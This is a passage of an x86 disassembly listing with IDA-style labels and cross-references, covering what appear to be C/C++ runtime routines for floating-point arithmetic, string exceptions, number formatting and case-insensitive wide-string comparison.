; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC004
		mov	eax, offset dword_4DC004
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC000
		mov	eax, offset dword_4DC000
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC008
		mov	eax, offset dword_4DC008
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DBFFC
		mov	eax, offset dword_4DBFFC


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBE9C
		and	dword_4DBE9C, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4CC
		mov	dword_43D4CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4C0
		mov	ecx, dword_43D4C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D450h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBE9C, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4CC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D44C, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDDC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDDC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D828
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D988
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		jmp	near ptr 71AB1B7Bh
sub_426350	endp

; ---------------------------------------------------------------------------
		db 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		nop
		jmp	near ptr 2890000h
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


